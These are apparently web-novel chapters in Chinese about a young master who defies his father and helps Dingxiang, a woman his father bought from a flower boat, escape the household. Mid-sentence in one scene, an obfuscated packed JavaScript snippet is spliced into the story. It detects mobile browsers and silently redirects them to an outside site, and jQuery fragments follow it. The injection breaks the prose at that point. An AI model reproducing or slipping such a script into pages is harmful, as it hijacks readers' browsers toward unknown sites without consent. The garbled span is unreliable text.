八哥歪着头,叫了声“公子”。 丁香的眼泪,终于忍不住掉了下来。 原来,不管逃到哪里,她的出身,都是抹不去的烙印。 都是被人唾弃的理由。 王公子气冲冲地往父亲书房走,脚步踩在青石板上,发出重重的声响。阳光透过树叶洒在他身上,却暖不了他半分。 从他记事起,父亲的书房就总围着各种各样的女人。有的涂脂抹粉,娇声娇气地递茶;有的装作懂诗画,缠着父亲论笔墨。她们看向母亲的眼神,总带着若有若无的挑衅,像一群盯着猎物的狼。 他还记得母亲总在夜里偷偷抹泪,第二天依旧强撑着笑脸打理家事。有次一个小妾故意把茶水泼在母亲的衣襟上,母亲也只是淡淡地说了句“无妨”,转身就回了房。他追进去时,正见母亲对着铜镜,用帕子一遍遍擦着那片湿痕,眼泪掉在上面,晕开一小片深色。 “娘,为什么不骂她?”他当时攥着拳头问。 母亲只是摸了摸他的头,轻声说:“娘是正妻,要顾全大局。” 顾全大局?在他看来,那不过是忍气吞声的借口。他恨那些女人的阴私算计,更恨父亲的纵容——他明明看到了母亲的委屈,却总以“男人三妻四妾是常事”搪塞过去。 如今,父亲竟从花船上弄回个女人,还藏在偏院!刚才那女子虽看着不像传言中那般不堪,可父亲强抢民女总归是事实! 王公子越想越气,走到书房门口,也不顾下人的阻拦,“砰”地一声推开了门。 王老爷正在看账册,被这动静惊得抬头,见是儿子,眉头立刻皱起:“没规矩!什么事这么慌张?” “父亲!”王公子喘着气,眼睛通红,“你把那个花船上的女子弄回府里,到底是什么意思?” 王老爷愣了愣,随即沉下脸:“我的事,轮得到你管?” “我不管谁管!”王公子上前一步,声音发颤,“你忘了娘是怎么被那些女人欺负的?你忘了她夜里哭到天亮?现在你又弄个女人回来,是想让娘再受委屈吗?” 王老爷被戳到痛处,猛地拍了下桌子:“放肆!我娶谁纳谁,是我自己的事!你娘是正妻,谁敢让她受委屈?” “谁敢?”王公子冷笑,“你身边那些女人,哪个不是揣着坏心思?现在又来一个,你是不是觉得还不够乱?” 他想起丁香刚才的样子,又补充道:“那个叫丁香的女子,一看就不是自愿的!你强抢她回来,就不怕遭报应?” 王老爷被儿子堵得说不出话,脸色一阵青一阵白。他没想到这小子竟会为了一个陌生女人跟自己叫板,更没想到他会翻出旧事。 “反了!真是反了!”王老爷气得发抖,指着门口,“给我滚出去!” 王公子却没动,只是死死盯着他:“你放她走!” “你做梦!”王老爷怒吼,“我花了银子买回来的人,凭什么放?” “银子?”王公子看着父亲丑陋的嘴脸,忽然觉得无比陌生,“在你眼里,什么都能用银子买?那母亲的委屈,是不是也能用银子算清楚?” 说完,他没再看父亲一眼,转身就走。走到门口时,他停下脚步,声音冰冷:“你若不放她走,我就去官府告你强抢民女!” 王老爷气得差点晕过去,抓起桌上的砚台就朝门口砸去,砚台“哐当”一声碎在地上,墨汁溅了一地,像泼了一地的黑血。 “逆子!逆子!”他怒吼着,声音在空旷的书房里回荡。 王公子没回头,一步步走出院子。阳光刺眼,他却觉得心里一片冰凉。 他知道告父亲是气话,官府怎会管这种家事?可他就是咽不下这口气。 他抬头望着天,忽然想起丁香背对着他的那个背影,单薄得像一片随时会被风吹走的叶子。 或许,他帮不了母亲,至少,能试着帮帮那个素不相识的女子。 他攥紧了拳头,转身往偏院的方向走去。 不管父亲同不同意,他都要试一试。 王公子转身往偏院走,脚步比来时沉稳了些。阳光透过枝叶的缝隙落在他身上,明明灭灭,像他此刻起伏的心绪。 刚到偏院门口,就听见里面传来八哥嘶哑的叫声,还有丫鬟低声的呵斥。他推门进去,正见一个老妈子举着竹竿要打鸟笼,丁香张开双臂护在前面,脊背挺得笔直。 “住手!”王公子喝了一声。 老妈子吓了一跳,连忙收回手,讪讪地说:“公子,这鸟儿太吵,扰了清静……” “谁让你动她东西的?”王公子瞪了她一眼,“滚!” 老妈子不敢多言,灰溜溜地跑了。 丁香放下手臂,看着他,眼神里带着几分诧异:“你怎么又回来了?” 王公子没回答,走到鸟笼前,看着里面焦躁不安的八哥,又看了看丁香通红的眼眶,心里那点别扭忽然散了。 “我爹……他就是那样的人。”他语气有些生硬,像是在解释,又像是在道歉。 丁香扯了扯嘴角,没说话。 两人站在廊下,一时无话。八哥渐渐安静下来,歪着头看着他们,偶尔叫一声“公子”。 “我刚才跟他吵了一架。”王公子忽然开口,声音闷闷的,“我说让他放你走。” 丁香猛地抬头看他,眼里闪过一丝惊讶。 “他没同意。”王公子低下头,声音里带着挫败,“他说你是他花银子买回来的。” 丁香眼底的光又暗了下去,嘴角勾起一抹嘲讽的笑:“我就知道。” 王公子看着她这副样子,心里更不是滋味:“你别急,我再想办法。我知道几个在衙门当差的朋友,或许……” “不用了。”丁香打断他,语气平静,“谢谢你,公子。但没用的。” 王老爷在本地势力盘根错节,一个毛头小子的朋友,又能起什么作用?她早就不抱希望了。 王公子还想说什么,却被她眼里的绝望堵住了。那是一种看透了一切的麻木,比愤怒和哭泣更让人心惊。 “你……”他张了张嘴,却不知道该说些什么。安慰的话太苍白,承诺又太无力。 丁香转过身,走到窗边,望着院墙外的天空:“公子还是别管我的事了,免得惹祸上身。你爹那个人,记仇得很。” 王公子看着她的背影,忽然觉得有些愧疚。他刚才还骂她卑贱,可她此刻,却在替他着想。 “我不怕。”他说,声音不大,却很坚定,“我娘当年就是这样,什么都忍着,最后把自己憋出了病。我不想再看着有人被我爹欺负。” 丁香的肩膀微微一颤,没回头。 王公子没再多说,只是道:“我先走了,晚些再来看你。” 他转身离开,脚步比来时轻了些。走到门口时,他回头看了一眼,见丁香还站在窗边,像一尊孤寂的雕像。 他攥紧了拳头,心里只有一个念头:一定要把她救出去。 不为别的,就为她眼底那点不肯熄灭的倔强,也为他娘当年没能说出口的委屈。 而偏院里,丁香望着王公子离去的背影,轻轻叹了口气。 少年人的热血,总是来得快去得也快。 她不指望谁来救她,也不指望谁能替她出头。 能靠的,从来只有自己。 她低头,看着笼子里的八哥,轻声说:“咱们得自己想办法了。” 八哥歪着头,叫了声“公子”。 丁香的眼神,渐渐变得坚定起来。 王老爷气得在书房里踱来踱去,胸口起伏不停,指着门口骂:“逆子!真是个逆子!老子的事他也敢管,还敢威胁我去官府?反了天了!” 管家连忙端上一杯热茶,笑着劝:“老爷息怒,仔细气坏了身子。少爷这也是年轻气盛,不懂事。” “不懂事?”王老爷接过茶杯,重重放在桌上,茶水溅出不少,“他懂什么?男人三妻四妾本就是常事,我当年娶他娘时,不也纳了几房?他现在倒跟我讲起道理来了!” 管家赔着笑:“老爷您是过来人,还不清楚?少爷这是没经过事,心里只念着夫人的好,见不得别的女子近身。等他再长几岁,见了外面的花花世界,自然就懂了。” 王老爷哼了一声,脸色稍缓:“懂?我看他是被书读傻了!” “这好办。”管家凑近一步,压低声音,“少爷不是觉得那些女子碍事吗?那是他没尝过甜头。老爷您找点机灵懂事的丫鬟,让她们多在少爷跟前走动,陪他说说话,解解闷。年轻人嘛,哪禁得住软语温存?等他见了女子的好,自然就不会再揪着这事不放了。” 王老爷愣了愣,随即眯起眼,嘴角勾起一抹笑:“你是说……” “您想啊,”管家笑得更谄媚了,“少爷身边要是有了贴心人,心思自然就不在这上面了。到时候别说反对您纳人,说不定还得谢您指点呢。” 王老爷摸着下巴,细细琢磨着管家的话。他年轻时确实如此,起初也觉得父亲纳妾不妥,可后来见了那些温柔小意的女子,渐渐也就懂了其中的滋味。 “你说得有道理。”他点了点头,眼神里闪过一丝算计,“这小子,是该学学什么叫人情世故了。” 管家连忙道:“还是老爷英明。这事交给小的去办,保证挑几个模样周正、嘴甜会来事的,保管让少爷……开窍。” 王老爷满意地笑了:“好!就交给你了。我倒要看看,他能硬气到几时。” 他想起儿子刚才红着眼眶护着那个丁香的样子,心里就窝火。一个花船上的女子,也值得他动这么大肝火?等他见了更多娇俏可人的女子,自然就会明白,所谓的“同情”,不过是少年人的天真罢了。 管家见老爷气消了,又笑着说:“那偏院的丁香姑娘……” “晾着她!”王老爷冷哼一声,“等我收拾了这逆子,再慢慢跟她算账。我倒要看看,没了那小子撑腰,她还能硬气多久。” 管家点头应下,心里却暗暗嘀咕:这父子俩较上劲,最后遭殃的,怕是还是那个丁香姑娘。 不过他可不管这些,只要能哄得老爷高兴,让少爷安分下来,他的差事就算办得稳妥了。 窗外的阳光渐渐斜了,照在书房里那盆名贵的兰花上,叶片油亮,却透着几分冷意。 王老爷端起茶杯,一饮而尽,仿佛已经看到儿子被女子缠得晕头转向、再无暇管闲事的模样。 他却不知道,有些少年的倔强,不是几句软语、几个女子就能磨掉的。 而那被晾在偏院的丁香,还不知道一场新的算计,正悄悄向她袭来。 管家寻到花园时,王公子正坐在石凳上出神,手里攥着片叶子,揉得稀碎。下人们远远站着,见管家来了,悄悄递了个眼色——刚瞧见少爷往偏院去了趟。 管家心里有了数,脸上堆着笑走上前:“少爷,这天儿凉,怎么在这儿坐着?” 王公子抬眼,语气冷淡:“有事?” “瞧您这话说的,”管家挨着他坐下,慢悠悠道,“还在为老爷的事生气?其实老爷也不是不讲理,就是脾气急了点。” 王公子别过脸,没接话。 管家也不恼,自顾自说:“您心疼丁香姑娘,觉得她在府里受委屈,这点小的都懂。可话说回来,真把她放出去,她一个女子,无依无靠的,手里又没银子,怎么生活?指不定还得回花船,或是被歹人欺负,那日子未必比在府里强。” 王公子的手顿了顿,眉头皱了起来。 管家看在眼里,继续道:“您看现在,她在偏院住着,有吃有穿,没人敢明着欺负她。老爷虽没常去,可也没再动过手不是?再说了,小的听说,丁香姑娘琴弹得极好,您要是闷了,过去跟她聊聊天,听她弹弹琴,不也挺好?” “我去找她?”王公子抬眼,眼神里带着警惕。 “这有什么不妥?”管家笑得坦荡,“您是府里的少爷,她是府里的人,说说话、听听琴,再正常不过。您多去几趟,瞧瞧她过得好不好,要是有谁敢慢待,您还能替她撑腰,这不比硬跟老爷犟着强?” 王公子沉默了。他不得不承认,管家的话戳中了他的软肋——他确实不知道放丁香出去后,她该去哪里。 “您想啊,”管家趁热打铁,“等她在府里住安稳了,您再慢慢劝老爷放她走,老爷气消了,说不定就松口了。这硬来,反倒把事情闹僵,对谁都没好处,尤其是对丁香姑娘。” 王公子捏着叶子的手松了松,眼底的执拗渐渐淡了些。 管家见他动摇,心里暗暗松了口气,又笑道:“小的这就去跟偏院的人说一声,让她们好生伺候着,您啥时候想去听琴,随时都能去。” 王公子没说话,算是默认了。 管家起身告辞,走到花园门口时,回头看了眼石凳上的少年,嘴角勾起一抹了然的笑。 这招“以退为进”,保管管用。少爷年轻心软,只要让他觉得自己能护住那女子,自然就不会再跟老爷硬顶。等日子久了,他跟那丁香接触多了,指不定还能生出别的心思——到时候,怕是要反过来求老爷成全了。 而石凳上,王公子望着偏院的方向,心里反复掂量着管家的话。 或许……先这样也不错。 至少能确保她暂时安全。 他站起身,拍了拍身上的土,往偏院走去。 他想再听听她弹琴。 也想问问她,到底想去哪里。 王公子推开偏院的门时,丁香正坐在廊下描花样。阳光落在她低垂的眼睫上,投下一小片阴影,素色的衣袖随着手腕轻动,露出一小截皓白的手臂,安静得像幅水墨画。 他站在门口看了片刻,竟没像上次那样觉得烦躁。 丁香听到动静,抬起头,见是他,放下手里的笔:“公子来了。” 王公子“嗯”了一声,走过去,目光落在她面前的宣纸上。纸上是几笔淡淡的兰草,线条清丽,带着股倔强的劲儿,倒像她本人。 “你会画画?”他问,语气比上次缓和了许多。 “随便画画,解闷罢了。”丁香收起笔,往旁边挪了挪,给他腾出个位置,“公子坐。” 王公子坐下,第一次认真打量她。她没施粉黛,脸上还能看出几分苍白,可眼神清亮,不像府里那些女人,总带着点讨好或算计。尤其是她说话时,语气平静,既不卑不亢,也不刻意讨好,确实和他见过的那些女子都不同。 “八哥呢?”他没话找话,目光扫了圈院子。 “在屋里,怕它吵着你。”丁香说着,起身想去把鸟笼提出来。 “不用。”王公子拦住她,“就这么坐着说说话吧。” 丁香愣了愣,重新坐下。 两人一时无话,只有风吹过树叶的沙沙声。王公子忽然觉得,这样的安静并不尴尬,反倒比在书房听那些虚伪的奉承舒服得多。 “你……以前在花船,都做些什么?”他犹豫着开口,怕触到她的痛处。 丁香倒是坦然:“弹琴,画画,偶尔陪客人聊几句。” “他们都说……”王公子顿了顿,还是说了出来,“说你是故意勾引我父亲。” 丁香笑了笑,拿起桌上的画笔,在纸上随意点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993198|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点:“公子觉得,我像是会勾引男人的样子?” 王公子看着她平静的侧脸,摇了摇头:“不像。” “那不就结了。”丁香放下笔,“我若真有那心思,也不会落到今天这个地步。” 她的语气里没有怨怼,只有一种看透世事的淡然,听得王公子心里莫名发堵。 “我爹他……”他想说些什么,却又不知从何说起。道歉?替父亲?可他没那个资格。 丁香却像是看穿了他的心思,轻声道:“公子不必为难。我落在你父亲手里,是命,怨不得谁。” “命不是这样的!”王公子忍不住反驳,“你不该被这样困住!” 丁香抬眼看向他,眼神里带着一丝讶异,随即是淡淡的暖意:“多谢公子。” 这声“多谢”说得真诚,倒让王公子有些不好意思。他挠了挠头,忽然想起什么:“你刚才在画兰草?” “嗯,闲得慌,随便画画。” “我娘也喜欢画兰草。”王公子的语气柔和了些,“她总说兰花生得倔,不与百花争艳,却自有风骨。” 丁香的动作顿了顿,眼底闪过一丝光亮:“夫人是个懂花的人。” “她是个好人,就是太能忍了。”王公子的声音低了些,“我以前总劝她别忍,可她不听。” 丁香没接话,只是重新拿起画笔,在纸上添了几笔,兰草的叶片更显舒展,像有风吹过。 王公子看着她落笔的样子,忽然觉得,管家说得也不全是错的。 跟她说话,确实不错。 至少,她不会像府里那些女人那样,一开口就是讨好和算计。 他站起身:“我改天再来看你,顺便……带些我娘画的兰草图给你看。” 丁香抬头,对他笑了笑,这次的笑容里,没有嘲讽,没有疏离,只有一点浅浅的暖意:“好。” 王公子走出偏院时,阳光正好,他的心情竟比来时轻快了许多。他回头看了眼那扇紧闭的院门,忽然觉得,或许事情真的能慢慢变好。 至少,他现在知道,这个叫丁香的女子,值得他去帮一把。 而廊下,丁香看着纸上的兰草,指尖轻轻拂过叶片,嘴角的笑意还未散去。 原来,这王府里,也不全是冰冷的人。 她拿起画,对着阳光看了看,忽然觉得,日子似乎也没那么难熬了。 至少,还有人愿意听她说话。 愿意懂她画里的风骨。 自那日后,王公子来得勤了。 有时是午后,带着几本旧书来,坐在廊下听丁香弹琴。她的琴声里少了往日的郁结,多了几分平和,像山涧的溪流,慢慢淌过人心。他不常说话,只静静听着,偶尔在她弹错一个音时,轻声指出——他自小跟着母亲学过些乐理,竟也能听出些门道。 有时是傍晚,提着一小笼刚出炉的桂花糕,说是街上老字号的点心。丁香起初不肯收,他便说:“你替我解闷,我请你吃糕,合情合理。”她拗不过,只好收下,两人分着吃,糕点的甜混着晚风的凉,倒也生出几分寻常人家的暖意。 他果然带了母亲的兰草图来。那画纸已经泛黄,笔触却极清丽,兰草叶片修长,带着韧劲,根须在石缝里扎得深,像要从纸上钻出来。 “我娘说,兰草得在石缝里长,才更有精神。”王公子指着画,语气里满是怀念。 丁香抚摸着泛黄的画纸,轻声道:“夫人是把自己画进去了。” 王公子一怔,随即红了眼:“你说得对……她就是太能熬了。” 丁香没再说话,只是将画小心地叠好,还给他:“好好收着吧,是念想。” 日子久了,偏院的仆妇们也看出些门道,不敢再怠慢,连给八哥添食都勤快了许多。那鸟儿见王公子来得勤,也不怯生了,见他进门就叫“公子”,声音比以前亮堂。 这日王公子来,手里却没带书,也没带点心,脸色有些凝重。 “怎么了?”丁香给他倒了杯茶。 “我爹……要给我纳妾。”王公子捏着茶杯,指节发白,“就是管家说的,找了几个丫鬟,说是让我‘开窍’。” 丁香的手顿了顿,随即了然:“公子不愿?” “自然不愿!”王公子皱眉,“我连她们的脸都没看清,纳什么妾?再说,我娘还在呢,哪有儿子先纳妾的道理?” 他忽然看向丁香,眼神里带着点恳求:“你说,我该怎么办?” 丁香看着他焦急的样子,倒觉得有些好笑:“公子心里不是已经有主意了吗?” 王公子一愣:“什么主意?” “硬气到底。”丁香看着他,眼神清亮,“就像你当初为我跟老爷争执那样。” 王公子怔住了。 “公子护得住我,自然也护得住自己的心。”丁香端起茶杯,轻轻吹了吹,“有些事,退一步就会退第二步,最后只会被人牵着走。夫人当年或许是忍了,但公子不必学她。” 她的话像一颗石子,投进王公子心里,漾开圈圈涟漪。他一直觉得母亲的“忍”是无奈,却从未想过,自己可以不必忍。 “我知道该怎么做了。”王公子站起身,眼神里的犹豫散去,多了几分坚定,“谢你。” 他转身就走,脚步比来时轻快了许多。走到门口时,他回头看了眼廊下的丁香,她正低头喝茶,阳光落在她发间,柔和得像幅画。 他忽然觉得,这偏院的日子,似乎也没那么难熬了。 而丁香看着他的背影,嘴角勾起一抹浅淡的笑。 少年人的心,总是容易被点燃的。 她低头看着茶杯里晃动的倒影,忽然想起肖晨。不知道那个被关在府里的少爷,此刻在做什么? 或许,也该像王公子这样,学着为自己想要的东西,硬气一次。 她轻轻叹了口气,拿起桌边的画笔,在纸上画了只八哥,正歪着头叫“公子”。 窗外的阳光正好,风里带着桂花香,一切都像在往好的方向走。 只是她不知道,王老爷的算计,远比他们想的要深。 王公子回到书房,管家正候在那里,见他进来,满脸堆笑地迎上来:“少爷,那几个丫鬟您瞧着怎么样?要是不合心意,小的再去挑几个?” 王公子皱着眉坐下,语气冷淡:“不用了,我不纳妾。” 管家愣了愣,随即凑近了些,挤眉弄眼道:“少爷莫不是有了心上人?要是看上哪家姑娘,跟老爷说一声,咱们风风光光去提亲,保准让您满意。” 王公子心里咯噔一下,下意识就想起了偏院那个描兰草、弹素琴的身影,脸颊微微发烫,嘴上却硬道:“没有!我就是不想要别人。” 管家哪里肯信,只当他是害羞,嘿嘿笑着:“少爷年轻,脸皮薄也正常。您放心,这事包在小的身上……” “说了没有就是没有!”王公子提高了声音,打断他的话,心里却乱糟糟的。 他确实对丁香动了点不一样的心思。 看她描画时专注的侧脸,听她弹琴时指尖的轻颤,甚至看她喂八哥时那点难得的温柔……这些画面像种子,在他心里悄悄发了芽。可他每次想起这念头,都觉得心头发堵——她是父亲买回来的人,名义上是他的“长辈”。 这层关系像道无形的墙,横在两人中间,让他连那点好感都不敢承认。 “管家,”他深吸一口气,努力让自己的语气平静,“纳妾的事别再提了,我只想好好读书,将来考个功名,让娘省心。” 管家见他态度坚决,又提到了夫人,只好讪讪地闭了嘴:“是,小的知道了。”心里却嘀咕:嘴上说不要,指不定心里正惦记着偏院那位呢。 等管家走后,王公子才松了口气,靠在椅背上,望着窗外发呆。 他想起刚才在偏院,丁香劝他“硬气到底”时的眼神,清亮又坚定。他也想硬气一次,可面对“父亲的人”这五个字,所有的勇气都像被戳破的气球,瞬间瘪了下去。 他拿出母亲的兰草图,指尖抚过泛黄的纸页,忽然觉得有些无力。 他能护着她不受下人欺负,能陪她说话解闷,却改变不了她是父亲所有物的事实。 这份刚冒头的好感,从一开始就注定见不得光。 王公子把画纸重新折好,放进抽屉深处,像是要把那点不该有的心思也一并藏起来。 他起身往偏院走,脚步却没了往日的轻快。 走到院门口,正见丁香站在廊下喂八哥,阳光落在她身上,依旧像幅安静的画。 “公子来了。”她抬头对他笑,眼里带着点自然的熟稔。 王公子扯了扯嘴角,想挤出个笑容,却觉得有些僵硬:“嗯,过来坐坐。” 两人像往常一样坐下,她弹琴,他听着,只是气氛里多了点说不清道不明的滞涩。 一曲终了,丁香看着他紧绷的侧脸,轻声问:“公子有心事?” 王公子抬头,对上她清澈的眼睛,到了嘴边的话又咽了回去,只摇了摇头:“没有。” 丁香没再追问,只是重新拨动琴弦,琴声里多了几分淡淡的怅惘,像初秋的风,吹得人心头发凉。 王公子听着琴音,心里更乱了。 他知道,自己该离她远些,该断了那点不该有的念头。 可脚像被钉在原地,挪不动半步。 这荒唐的好感,像根细密的网,悄悄将他缠了进去。 而他,只能眼睁睁看着,无能为力。 38. 好戏要开始了,他的算计 自那日后,王公子去偏院的次数没少,话却少了许多。 有时他就坐在廊下,看着丁香描花样,看着八哥在笼里扑腾,一坐就是一下午。丁香察觉到他的异样,却不多问,只是弹琴时会选些轻快的曲子,偶尔递块刚剥好的橘子,像往常一样自然。 这天傍晚,王公子提着一坛酒来,脸色有些沉。 “陪我喝点?”他将酒坛放在石桌上,声音闷闷的。 丁香愣了愣,点了点头。她知道,他大约是又为纳妾的事烦了。 王公子给自己倒了满满一碗,仰头灌下去,酒液顺着嘴角淌下来,打湿了衣襟。他没像往常那样顾及体面,倒像是真的闷坏了。 “我爹又来逼我了。”他抹了把嘴,声音发哑,“说我要是不纳妾,就把管家挑的那几个丫鬟,全送到我房里来。” 丁香握着空碗的手紧了紧:“公子不愿,她们也不敢怎样。” “不敢?”王公子笑了,笑得有些自嘲,“在这王府里,我爹说的话就是规矩。他想让谁进我房,谁就能进。” 他又倒了一碗酒,却没喝,只是盯着碗里晃动的酒液:“你说,人活着,是不是都身不由己?” 丁香没说话。她又何尝不是? “我娘身不由己,忍了一辈子。”王公子的声音低了下去,“我以为自己能不一样,可到头来,连纳不纳妾都做不了主。” 他忽然抬头看她,眼神里带着点酒后的执拗:“那你呢?你甘心吗?” 丁香迎上他的目光,沉默了片刻,轻声道:“不甘心,又能怎样?” “那就逃啊!”王公子猛地站起身,酒坛被他撞得晃了晃,“我帮你逃!找个夜黑风高的晚上,我给你备马车,送你出城门,去一个没人认识你的地方……” 他越说越激动,仿佛已经看到了她重获自由的样子。 丁香看着他泛红的眼睛,心里忽然涌上一股暖流,却又很快被现实浇灭。 “公子喝醉了。”她扶着他坐下,“王府守卫森严,哪那么容易逃?就算逃出去了,王老爷也会派人追,到时候,连公子都会被连累。” “我不怕连累!”王公子攥着她的手腕,力气大得吓人,“我早就受够他了!大不了……大不了我跟你一起逃!” 这话一出口,两人都愣住了。 王公子的酒意醒了大半,看着自己攥着她手腕的手,像被烫到一样猛地松开,脸颊瞬间涨得通红。 丁香也垂下眼,指尖还残留着他掌心的温度,心里却乱成了一团。 他刚才那句话,是醉话,却像颗石子,在她死水般的心里激起了千层浪。 逃?她不是没想过。可她不敢,也不能连累这个唯一对她释放过善意的少年。 廊下的八哥忽然叫了声“公子”,打破了尴尬的沉默。 王公子猛地站起身,几乎是落荒而逃:“我……我先回去了。” 他脚步踉跄地走出偏院,连头都没敢回。 偏院里,丁香看着他慌乱的背影,又看了看石桌上那坛没喝完的酒,轻轻叹了口气。 少年人的冲动,总是来得快去得也快。 可那句“我帮你逃”,却像一根微弱的火苗,在她心里悄悄燃了起来。 或许,真的可以试试? 她走到鸟笼前,看着里面的八哥,轻声问:“你说,我们能逃出去吗?” 八哥歪着头,叫了声“公子”。 丁香的眼神,渐渐变得复杂起来。 逃,意味着风险,意味着可能万劫不复。 不逃,就只能在这牢笼里,日复一日地熬下去,直到被王老爷厌弃,卖到不知哪个肮脏的角落。 她轻轻抚摸着鸟笼的栏杆,指尖冰凉。 或许,该赌一次。 哪怕只有万分之一的可能。 王公子逃回自己院里,心口还在突突直跳。方才攥着丁香手腕时的触感,她垂眸时颤动的睫毛,还有那句脱口而出的“一起逃”,像烧红的烙铁,烫得他坐立难安。 他倒了杯冷茶灌下去,试图压下心头的燥热,可闭上眼,满脑子都是她在偏院廊下的样子——素衣、素琴,还有那双藏着倔强的眼睛。 “荒唐!”他对着铜镜里的自己低骂一声。她是父亲的人,他是王家的少爷,这层关系像道鸿沟,怎么能生出如此离经叛道的念头? 可越是克制,那念头就越疯长。他想起她抚摸兰草图时的专注,想起她弹琴时偶尔流露出的轻快,想起她护着八哥时挺直的脊背……这些画面在他心里盘桓,竟让他生出一种从未有过的冲动。 他想护着她,不是出于同情,而是……说不清道不明的在意。 几日后,王公子再去偏院,两人都默契地没提那晚的醉话。他依旧带书来,她依旧弹琴,只是气氛里多了点微妙的东西,像初春河面下悄悄融化的冰。 这日午后,管家忽然领了个老妈子进偏院,手里捧着一套簇新的艳色衣裙。 “丁香姑娘,”管家笑得不怀好意,“老爷今晚要来,特意让小的送套衣裳来,您赶紧换上。” 丁香的脸瞬间白了,捏着琴弦的手指泛白:“我不穿。” “这可由不得您。”老妈子上前就要动手,被王公子喝住:“住手!” 管家见是他,脸上的笑淡了些:“少爷,这是老爷的意思……” “我爹那边我去说。”王公子挡在丁香身前,语气冷硬,“衣裳拿走,以后别再来烦她。” 管家愣了愣,没敢硬顶,讪讪地带着老妈子走了,临走前意味深长地看了王公子一眼。 人走后,偏院里静得能听见风吹树叶的声。丁香看着王公子的背影,轻声道:“谢谢你。” 王公子转过身,见她脸色发白,眼底满是抗拒,心里像被什么东西揪了一下:“他……常这样逼你?” 丁香低下头,指尖划过琴弦,发出一声闷响:“以前是,以后……也会是。” 王公子沉默了。他知道父亲的性子,得不到的东西,只会更执着。今晚没来,明日也会来,总有一天,他护不住她。 “那晚我说的话……”他深吸一口气,声音有些发紧,“不是醉话。” 丁香猛地抬头,眼里满是震惊。 “我想好了,”王公子看着她,眼神坚定,“三日后是十五,月色亮,守卫换班的间隙长,我备马车在后门等你。” 他从怀里掏出个小小的银哨:“拿着,到时候吹三声,我就知道是你。” 丁香看着那枚银哨,指尖发颤,说不出话。她没想到,他竟真的把那句醉话当了真。 “你不必急着答应,”王公子将银哨塞进她手里,指尖相触的瞬间,两人都像被烫到般缩回手,“想清楚。走了,或许有生路;留下,只有死局。” 说完,他转身就走,没再回头。他怕多看一眼,自己就会动摇。 丁香握着那枚冰凉的银哨,手心全是汗。哨子不大,却重得像块石头,压得她喘不过气。 走?她一个无依无靠的女子,就算逃出王府,又能去哪里?王老爷势力遍布全城,迟早会被抓回来,到时候,不仅是她,连王公子都会被连累。 不走?她能想象到王老爷今晚来的场景,那些不堪的画面让她浑身发冷。 她把银哨紧紧攥在手心,指节泛白。 三日后…… 廊下的八哥忽然叫起来,一声声“公子”,像是在催促,又像是在叹息。 丁香望着院墙外的天空,云卷云舒,自由得让人心慌。 她慢慢握紧银哨,眼里的犹豫一点点褪去,只剩下决绝。 与其在牢笼里等死,不如拼一次。 哪怕粉身碎骨。 三日后的夜里,月色果然亮得很。丁香换上一身素色男装,是王公子悄悄送来的,又把那幅肖晨画的肖像贴身藏好,最后看了眼笼里的八哥。 “我们走了。”她打开鸟笼,“你也自由了。” 八哥扑腾着翅膀飞出去,在院里盘旋两圈,叫了声“公子”,然后冲上夜空,消失在月色里。 丁香深吸一口气,攥紧银哨,悄悄往后门摸去。 后门的阴影里,停着一辆不起眼的马车。她吹了三声哨,马车上的人探出头,是王公子。 他对她招招手,眼里映着月色,亮得惊人。 丁香的心怦怦直跳,快步跑过去,被他一把拉上马车。 “坐稳了!”王公子扬鞭,马车轱辘碾过石板路,发出“哒哒”的声响,像敲在两人心上。 车厢里,丁香掀起帘子一角,看着王府的高墙越来越远,眼泪忽然掉了下来。 是害怕,是激动,更是一种恍如隔世的恍惚。 她真的逃出来了。 王公子看着她掉眼泪,不知该说什么,只是从怀里掏出块帕子递给她,声音有些不自然:“别怕,出了城就安全了。” 丁香接过帕子,擦了擦眼泪,对他笑了笑,眼里带着泪光,却亮得像星星。 马车在月色下疾驰,载着两个年轻人的勇气,也载着一个未知的将来。 他们都知道,前路必定坎坷,王老爷的怒火、全城的搜捕,都在等着他们。 可此刻,车厢里只有彼此的呼吸声,和窗外自由的风声。 足够了。 至少,他们为自己争取过。 至少,他们逃离了那个令人窒息的牢笼。 马车驶出城门时,守城的卫兵例行盘问了几句,王公子早备好了通关文书,只说是带书童去城外别院读书,卫兵看他是王家少爷,没多纠缠便放了行。 车轮碾过城外的土路,颠簸得厉害,车厢里的烛火晃了晃,险些熄灭。丁香攥着衣角,手心的汗把布料浸得发潮,直到再也看不见城墙的影子,才敢轻轻松口气。 “出了城,他一时半会儿找不到。”王公子掀帘看了眼路况,回头对她说,语气里带着点如释重负。他特意绕了条偏僻的路,马车辙印很快就会被风吹散。 丁香“嗯”了一声,从怀里摸出那幅肖像画,借着微弱的烛光展开。画上的自己眉眼带笑,身后是花船的窗棂——那是肖晨画的,也是她唯一能带走的念想。 “这是……”王公子瞥见画,愣了愣。 “一个朋友画的。”丁香轻轻抚平画纸的褶皱,语气平静,“算是留个念想。” 王公子没再多问,只是从行囊里翻出个油纸包:“还没吃东西吧?这是我备的干粮。”里面是几块烧饼和一小袋酱肉,都是耐放的吃食。 丁香确实饿了,接过烧饼小口咬着,饼渣掉在衣襟上,她慌忙去擦,倒显得有些局促。在王府这些日子,她早已习惯了细嚼慢咽,此刻倒像变回了当初在花船上自在的样子。 王公子看着她的模样,嘴角忍不住微微上扬,自己也拿起一块烧饼啃起来。他自小锦衣玉食,何曾吃过这样粗粝的东西?可此刻嚼着,竟觉得比府里的山珍海味还要香。 马车走了大半宿,天边泛起鱼肚白时,在一处破败的山神庙前停了下来。王公子勒住马:“先在这儿歇歇脚,等天黑了再走。”白日赶路太惹眼,夜里才安全。 两人扶着车辕下车,山神庙的木门早已朽坏,风一吹就吱呀作响,院里长满了齐膝的杂草,神像的半边脸都塌了,透着几分荒凉。 “委屈你了。”王公子看着她沾了尘土的裙摆,有些不好意思。他虽备了马车,却没地方可去,只能找这种荒僻的地方落脚。 